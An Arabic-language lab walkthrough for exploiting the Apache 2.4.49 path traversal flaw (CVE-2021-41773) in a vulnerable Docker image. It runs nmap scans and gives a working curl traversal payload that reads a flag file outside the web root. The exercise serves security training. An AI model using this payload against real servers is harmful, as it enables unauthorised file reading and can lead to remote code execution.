
مختبر عملي لاستغلال ثغرة اجتياز المسار في Apache 2.4.49 (CVE-2021-41773) باستخدام Docker وفحص Nmap وcurl لاسترجاع علم (flag).
تم العثور على خلل في تغيير تم إجراؤه على تطبيع المسار في Apache HTTP Server 2.4.49. يمكن للمهاجم استخدام هجوم اجتياز المسار لتعيين عناوين URL لملفات خارج الدلائل التي تم تكوينها بواسطة توجيهات مشابهة لـ Alias. إذا لم تكن الملفات خارج هذه الدلائل محمية بواسطة التكوين الافتراضي المعتاد "require all denied"، فقد تنجح هذه الطلبات. إذا تم أيضًا تمكين نصوص CGI لهذه المسارات المستعارة، فقد يسمح ذلك بتنفيذ التعليمات البرمجية عن بُعد. تؤثر هذه المشكلة فقط على Apache 2.4.49 وليس الإصدارات الأقدم.
مقدمة الاعتماد إلى: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-41773
الهدف من التمرين هو استغلال الثغرة الأمنية الموجودة في Apache 2.4.49. لاستغلالها، من الضروري استخدام "هجوم اجتياز المسار" لتعيين الملفات خارج المجلدات المكونة مسبقًا وإنشاء نوع من الصدفة عن بُعد.
بالنسبة للتمرين، من المناسب استخدام docker ضعيف مخصص متاح على docker hub:
الرابط: https://hub.docker.com/r/m96dg/pw_apache_2_4_49
$docker pull m96dg/pw_apache_2_4_49

لعرض صور docker التي تم سحبها:
$docker images
تشغيل docker على المنفذ 8080:
$docker run -dit -p 8080:80 m96dg/pw_apache_2_4_49
للتحقق من أنه قيد التشغيل بالفعل:
$docker ps

كما ترى، خادم الويب يعمل بشكل مثالي:

مرحلة الفحص (نحاول جمع أكبر قدر ممكن من المعلومات من المضيف):
$nmap -sS -p- -T4 -Pn -oA portScan localhost

مرحلة التعداد (نحاول تعميق المعلومات من خلال تعداد المنافذ التي تم العثور عليها في مرحلة الفحص):
$nmap -sV -sC -oA versionScan localhost

لتنفيذ الهجوم، من الضروري تشغيل هذا الأمر ومحاولة العثور على العلم (إذا كان موجودًا في الجذر):
$curl http://[IP]:8080/cgi-bin/.%2e/.%2e/.%2e/.%2e/flag.txt

للتأكد من أن التمرين قد اكتمل بنجاح، وأن العلم هو بالفعل ما تم العثور عليه، قارن السلسلة مع فك تشفيرها في Md5 ("HaiTrovatoLaFlag_Apache"). إذا تطابقت السلسلتان، فقد تم الأمر!